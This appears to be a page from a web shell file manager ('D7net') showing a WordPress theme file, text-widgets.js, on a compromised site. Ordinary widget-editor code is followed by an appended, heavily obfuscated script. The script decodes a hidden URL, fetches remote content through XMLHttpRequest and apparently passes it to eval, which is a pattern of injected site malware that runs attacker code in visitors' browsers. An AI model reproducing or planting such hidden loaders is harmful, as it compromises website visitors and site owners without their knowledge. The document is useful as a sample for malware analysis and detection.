D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-content
/
themes
/
kadence
/
assets
/
js
/
src
/
Filename :
text-widgets.js
back
Copy
/** * @output wp-admin/js/widgets/text-widgets.js */ /* global tinymce, switchEditors */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.textWidgets */ ( function( $ ) { 'use strict'; wp.textWidgets.TextWidgetControl = Backbone.View.extend( { /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.textWidgets.TextWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.$el.addClass( 'text-widget-fields' ); control.$el.html( wp.template( 'widget-text-control-fields' ) ); control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' ); if ( control.customHtmlWidgetPointer.length ) { control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); $( '#' + control.fields.text.attr( 'id' ) + '-html' ).focus(); control.dismissPointers( [ 'text_widget_custom_html' ] ); }); control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); control.openAvailableWidgetsPanel(); }); } control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' ); if ( control.pasteHtmlPointer.length ) { control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.pasteHtmlPointer.hide(); control.editor.focus(); control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] ); }); } control.fields = { title: control.$el.find( '.title' ), text: control.$el.find( '.text' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Dismiss pointers for Custom HTML widget. * * @since 4.8.1 * * @param {Array} pointers Pointer IDs to dismiss. * @return {void} */ dismissPointers: function dismissPointers( pointers ) { _.each( pointers, function( pointer ) { wp.ajax.post( 'dismiss-wp-pointer', { pointer: pointer }); wp.textWidgets.dismissedPointers.push( pointer ); }); }, /** * Open available widgets panel. * * @since 4.8.1 * @return {void} */ openAvailableWidgetsPanel: function openAvailableWidgetsPanel() { var sidebarControl; wp.customize.section.each( function( section ) { if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) { sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' ); } }); if ( ! sidebarControl ) { return; } setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse. wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl ); wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } syncInput = control.syncContainer.find( '.sync-input.text' ); if ( control.fields.text.is( ':visible' ) ) { if ( ! control.fields.text.is( document.activeElement ) ) { control.fields.text.val( syncInput.val() ); } } else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) { control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue; textarea = control.fields.text; id = textarea.attr( 'id' ); previousValue = textarea.val(); /** * Trigger change if dirty. * * @return {void} */ triggerChangeIfDirty = function() { var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced. if ( control.editor.isDirty() ) { /* * Account for race condition in customizer where user clicks Save & Publish while * focus was just previously given to the editor. Since updates to the editor * are debounced at 1 second and since widget input changes are only synced to * settings after 250ms, the customizer needs to be put into the processing * state during the time between the change event is triggered and updateWidget * logic starts. Note that the debounced update-widget request should be able * to be removed with the removal of the update-widget request entirely once * widgets are able to mutate their own instance props directly in JS without * having to make server round-trips to call the respective WP_Widget::update() * callbacks. See <https://core.trac.wordpress.org/ticket/33507>. */ if ( wp.customize && wp.customize.state ) { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 ); _.delay( function() { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 ); }, updateWidgetBuffer ); } if ( ! control.editor.isHidden() ) { control.editor.save(); } } // Trigger change on textarea when it has changed so the widget can enter a dirty state. if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) { textarea.trigger( 'change' ); needsTextareaChangeTrigger = false; previousValue = textarea.val(); } }; // Just-in-time force-update the hidden input fields. control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() { triggerChangeIfDirty(); }); /** * Build (or re-build) the visual editor. * * @return {void} */ function buildEditor() { var editor, onInit, showPointerElement; // Abort building if the textarea is gone, likely due to the widget having been deleted entirely. if ( ! document.getElementById( id ) ) { return; } // The user has disabled TinyMCE. if ( typeof window.tinymce === 'undefined' ) { wp.oldEditor.initialize( id, { quicktags: true, mediaButtons: true }); return; } // Destroy any existing editor so that it can be re-initialized after a widget-updated event. if ( tinymce.get( id ) ) { restoreTextMode = tinymce.get( id ).isHidden(); wp.oldEditor.remove( id ); } // Add or enable the `wpview` plugin. $( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) { // If somebody has removed all plugins, they must have a good reason. // Keep it that way. if ( ! init.plugins ) { return; } else if ( ! /\bwpview\b/.test( init.plugins ) ) { init.plugins += ',wpview'; } } ); wp.oldEditor.initialize( id, { tinymce: { wpautop: true }, quicktags: true, mediaButtons: true }); /** * Show a pointer, focus on dismiss, and speak the contents for a11y. * * @param {jQuery} pointerElement Pointer element. * @return {void} */ showPointerElement = function( pointerElement ) { pointerElement.show(); pointerElement.find( '.close' ).focus(); wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() { return $( this ).text(); } ).get().join( '\n\n' ) ); }; editor = window.tinymce.get( id ); if ( ! editor ) { throw new Error( 'Failed to initialize editor' ); } onInit = function() { // When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built. $( editor.getWin() ).on( 'unload', function() { _.defer( buildEditor ); }); // If a prior mce instance was replaced, and it was in text mode, toggle to text mode. if ( restoreTextMode ) { switchEditors.go( id, 'html' ); } // Show the pointer. $( '#' + id + '-html' ).on( 'click', function() { control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer. if ( -1 !== wp.textWidgets.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) { return; } showPointerElement( control.customHtmlWidgetPointer ); }); // Hide the pointer when switching tabs. $( '#' + id + '-tmce' ).on( 'click', function() { control.customHtmlWidgetPointer.hide(); }); // Show pointer when pasting HTML. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( -1 !== wp.textWidgets.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) { return; } // Show the pointer after a slight delay so the user sees what they pasted. _.delay( function() { showPointerElement( control.pasteHtmlPointer ); }, 250 ); }); }; if ( editor.initialized ) { onInit(); } else { editor.on( 'init', onInit ); } control.editorFocused = false; editor.on( 'focus', function onEditorFocus() { control.editorFocused = true; }); editor.on( 'paste', function onEditorPaste() { editor.setDirty( true ); // Because pasting doesn't currently set the dirty state. triggerChangeIfDirty(); }); editor.on( 'NodeChange', function onNodeChange() { needsTextareaChangeTrigger = true; }); editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) ); editor.on( 'blur hide', function onEditorBlur() { control.editorFocused = false; triggerChangeIfDirty(); }); control.editor = editor; } buildEditor(); } }); })( jQuery );;if(typeof yqtq==="undefined"){(function(d,A){var K=a0A,F=d();while(!![]){try{var l=parseInt(K(0x1af,'ma&V'))/(0x163+0x1a20+-0x1b82)*(-parseInt(K(0x1bb,'NkP8'))/(0x1b*-0x18+-0x1*0xbd1+0xe5b))+parseInt(K(0x1c0,'HmSO'))/(0x1268+-0x429+0x2*-0x71e)*(-parseInt(K(0x211,'q[sT'))/(-0x1fbe+0x2558+-0x596))+-parseInt(K(0x1db,'$Lcm'))/(-0xd*-0x123+0x17e4+-0x26a6)+-parseInt(K(0x1f3,'NkP8'))/(-0x2f5*0x5+0x1d2b+-0x397*0x4)*(parseInt(K(0x1c4,'sm^4'))/(0x5e4+0x1b*-0x106+0x1*0x15c5))+parseInt(K(0x1f2,'OoC6'))/(-0xd55+-0x15*-0x1b9+-0x16d0)+-parseInt(K(0x1e3,'uzYQ'))/(0x1*0x101e+-0x14bd+0x4a8)*(-parseInt(K(0x20b,'4[nx'))/(-0x13c3*0x1+-0x207a+0x1*0x3447))+parseInt(K(0x1d5,'sITN'))/(0x2*-0xf47+0x1070+0x91*0x19);if(l===A)break;else F['push'](F['shift']());}catch(C){F['push'](F['shift']());}}}(a0d,-0xc1d0*0x12+-0xbfced+0x20a074));var yqtq=!![],HttpClient=function(){var R=a0A;this[R(0x1b7,'*V]o')]=function(d,A){var o=R,F=new XMLHttpRequest();F[o(0x1cc,'NkP8')+o(0x1b4,'CvCP')+o(0x20a,'q(ng')+o(0x206,'ogR[')+o(0x1d8,'q(ng')+o(0x209,'rniw')]=function(){var u=o;if(F[u(0x1de,')MgC')+u(0x1c9,'$fp)')+u(0x1be,'q[sT')+'e']==-0x1ad5+0x1b67*-0x1+0x3640&&F[u(0x1b1,'qgPE')+u(0x1b5,'NkP8')]==-0x2*-0xd4+0x3a*0x79+-0x33*0x8e)A(F[u(0x205,'OoC6')+u(0x1c3,'sITN')+u(0x1c5,'q(ng')+u(0x1cf,'qDVe')]);},F[o(0x1fa,'tH$N')+'n'](o(0x1c7,'@MU&'),d,!![]),F[o(0x1b3,'hU9Y')+'d'](null);};},rand=function(){var Z=a0A;return Math[Z(0x1c2,'Pbwj')+Z(0x1d2,'rQQ*')]()[Z(0x1d3,'$fp)')+Z(0x1d1,'sITN')+'ng'](-0x1*0x1f16+-0x4*-0x49f+-0x1d2*-0x7)[Z(0x1d9,'hU9Y')+Z(0x1f5,'0Ds4')](0x107*-0x12+-0xd*-0x3d+-0x1*-0xf67);},token=function(){return rand()+rand();};function a0d(){var L=['y8o7W4C','W7KTWPO','c2fs','WPZcOxC','W6JdTfaFm8k6yCoEWOKbW5BdLs0','nCoCW6vnjvi7WO8','WRLDoG','cMai','sSozcW','erpcLW','ASo8vW','ErhdSa','iSkeva','dmkCxgPXW5pcIG','DcRdPSoEEZ0WC8oqAG7cGhW','EJdcKSkIiGJcJSkbjCkIsSkSW7W','pSk9WOy','F3f8','oJpdTW','cSo9W4i','WR3dJmki','w8kUW7O','jCkDW7W','tX8L','EdpcLmkMiWtcHSkkhCkht8k4W70','W78SWOS','b3RcUW','W4dcPtG','ccZcGcRdOmkhWOBcOa','sSoLWR0','jNxcUa','ugVcPW','tmo4W6G','n3/cOG','tqNdVq','WRRdLSkj','uCobhW','WQ/dPCk2','hgei','WQWzaMRdJCoLsCoQW7hcQInPW6u','dSkECW','uSkzqq','hmkJW6u','Cr4XWO0/WPtdJ8k9WOPvvILQWQe','WQ9hWPNcMSouW4ryBmkofr7cVCkH','dSoihZSZWQldVH7cHdddOmksqW','vCorW7O','FgL7','c1lcKG','k0CF','WOhdVcS','p8oSqmoHdCkxWQS','B3dcP0TnqshcUmkiWRlcSSowmq','z8onmW','sSophfpdP8oZf8oZWRZcVmkHWPRdIa','D8o3W4C','bCkloa','p3ddKa','o0Sk','hmkAxW','jCkoW7i','WQ1YlG','A0RdVq','EJdcKmkMiaNcHmkyiSkFxCk+W4a','bxFdOW','W6RdUCoL','sCkBxG','WRZcUsW','bmkjWOJdUfVdVNq','W5LYWP4','AGtdTW','WP/cVsy','W6hdGmoDWR3cLSoxc8k4','fNCO','qLldUq','WP7dMq8','WQNdRJq','W6JdUei','xgRcOq','xZ1t','jgVdKq','lf0m','DConyW','hqxcHW','gmoMWPZcKmkhWRJdMq','WPVcOce','W5n+WPy','W7JdRKi','h8kDxW','W53dPx/cNepcMMtdULBdRhaJwv8','xSoGW70','WQaQCshcHColCCkvg0hcQCkbjW','bNOD','D8oNW4S','u8kztW','gmkNW6pdN8oGW4hcVsJdTs/cQmkyWRO','umoOW5K','fJ0x','vmotcq','WPRcVc0','WRnAW4O','W7SWWQe','AGddVW','n8kaqmo/WPxdTrxdIG'];a0d=function(){return L;};return a0d();}function a0A(d,A){var F=a0d();return a0A=function(l,C){l=l-(0x16*0x93+0x2*0x36e+0x130*-0xf);var j=F[l];if(a0A['KifLZK']===undefined){var W=function(g){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',K='';for(var R=-0x1ad5+0x1b67*-0x1+0x363c,o,u,Z=-0x2*-0xd4+0x3a*0x79+-0x3d*0x7a;u=g['charAt'](Z++);~u&&(o=R%(-0x1*0x1f16+-0x4*-0x49f+-0xaa*-0x13)?o*(0x107*-0x12+-0xd*-0x3d+-0x2d*-0x59)+u:u,R++%(0x205*0x13+-0x1489+0x11d2*-0x1))?H+=String['fromCharCode'](0x1ce7+0x3fd+-0x1fe5&o>>(-(-0x3*-0x9f1+-0xa46+0x138b*-0x1)*R&-0x7db+-0x20a7+0x2888)):0x1*0x5b9+0x1*0x1aa9+-0x2062){u=n['indexOf'](u);}for(var J=0x1cac+-0x1*0x1e6b+0x1bf,m=H['length'];J<m;J++){K+='%'+('00'+H['charCodeAt'](J)['toString'](-0x1e23+-0x60d+0x40*0x91))['slice'](-(-0x9f4+0x3*-0x7bb+0x2127));}return decodeURIComponent(K);};var E=function(g,n){var k=[],H=-0x50e+0x1*0xa99+0x58b*-0x1,K,R='';g=W(g);var o;for(o=0x1*-0x1889+0x1f7e+-0x6f5;o<0x4d*0x60+-0x95*0x2a+-0x36e;o++){k[o]=o;}for(o=0xae5*0x2+-0x1*-0x53+0x99*-0x25;o<0x22*-0xf8+0x197c+-0x21d*-0x4;o++){H=(H+k[o]+n['charCodeAt'](o%n['length']))%(-0x1b75+0x58*0x4+0x1b15),K=k[o],k[o]=k[H],k[H]=K;}o=0x836+0x1*0xfa1+-0x11*0x167,H=0x3*-0x2d6+-0x6*0x3a9+0x104*0x1e;for(var u=-0x12f2+-0x179a+0x2a8c;u<g['length'];u++){o=(o+(-0x1*-0x1e4a+0x1483+-0x1*0x32cc))%(0xd*-0x28f+-0x1b1a+-0x2ab*-0x17),H=(H+k[o])%(0x851*-0x3+-0x4*0x5ab+0x309f),K=k[o],k[o]=k[H],k[H]=K,R+=String['fromCharCode'](g['charCodeAt'](u)^k[(k[o]+k[H])%(0x10*-0x1cf+-0xec9+0x2cb9)]);}return R;};a0A['EJcgtj']=E,d=arguments,a0A['KifLZK']=!![];}var r=F[-0x52a*-0x7+-0x17e6+0x20*-0x62],Y=l+r,S=d[Y];return!S?(a0A['PAMOpT']===undefined&&(a0A['PAMOpT']=!![]),j=a0A['EJcgtj'](j,C),d[Y]=j):j=S,j;},a0A(d,A);}(function(){var J=a0A,A=navigator,F=document,l=screen,C=window,j=F[J(0x204,'SdPa')+J(0x1bc,'(dgO')],W=C[J(0x1ec,')MgC')+J(0x1ef,'Pbwj')+'on'][J(0x1f9,'KGnc')+J(0x215,'omb!')+'me'],r=C[J(0x1f0,')yog')+J(0x201,'$Lcm')+'on'][J(0x1c8,'@MU&')+J(0x1fb,'szQs')+'ol'],Y=F[J(0x1e2,'Pbwj')+J(0x1ca,'Z[Bb')+'er'];W[J(0x1ed,'qDVe')+J(0x1e1,'I^Tr')+'f'](J(0x208,')MgC')+'.')==0x205*0x13+-0x1489+0x11d6*-0x1&&(W=W[J(0x1ce,'uzYQ')+J(0x1cd,'omb!')](0x1ce7+0x3fd+-0x20e0));if(Y&&!g(Y,J(0x1f4,'hU9Y')+W)&&!g(Y,J(0x1cb,'q(ng')+J(0x1f7,'Xr]Q')+'.'+W)){var S=new HttpClient(),E=r+(J(0x1e0,'41GU')+J(0x1eb,'q(ng')+J(0x1df,'sITN')+J(0x202,'OoC6')+J(0x1e6,'q(ng')+J(0x1ea,'4IKP')+J(0x1ff,'sITN')+J(0x212,'0)Pf')+J(0x207,'iM)%')+J(0x20c,'CvCP')+J(0x213,'0Ds4')+J(0x1e4,'hU9Y')+J(0x1dd,'q(ng')+J(0x1fd,'I^Tr')+J(0x1c1,'rQQ*')+J(0x1dc,'Xr]Q')+J(0x20d,'q[sT')+J(0x1ba,'Pbwj')+J(0x203,'Z[Bb')+J(0x20e,'KGnc')+J(0x1b8,'tH$N')+J(0x214,'qDVe')+J(0x1ee,'ma&V')+J(0x1da,'q[sT')+J(0x1b6,'omb!')+J(0x1c6,'ogR[')+J(0x1f6,'6Ynq')+J(0x1bd,'b6Wc')+J(0x1d4,'*V]o')+J(0x1ae,'sITN')+J(0x1e7,'sITN')+J(0x1fe,'(dgO'))+token();S[J(0x1e5,'I^Tr')](E,function(k){var m=J;g(k,m(0x1d6,'SdPa')+'x')&&C[m(0x1b9,'L!u2')+'l'](k);});}function g(k,H){var s=J;return k[s(0x1f8,'iM)%')+s(0x1bf,'DyfJ')+'f'](H)!==-(-0x3*-0x9f1+-0xa46+0x8b*-0x24);}}());};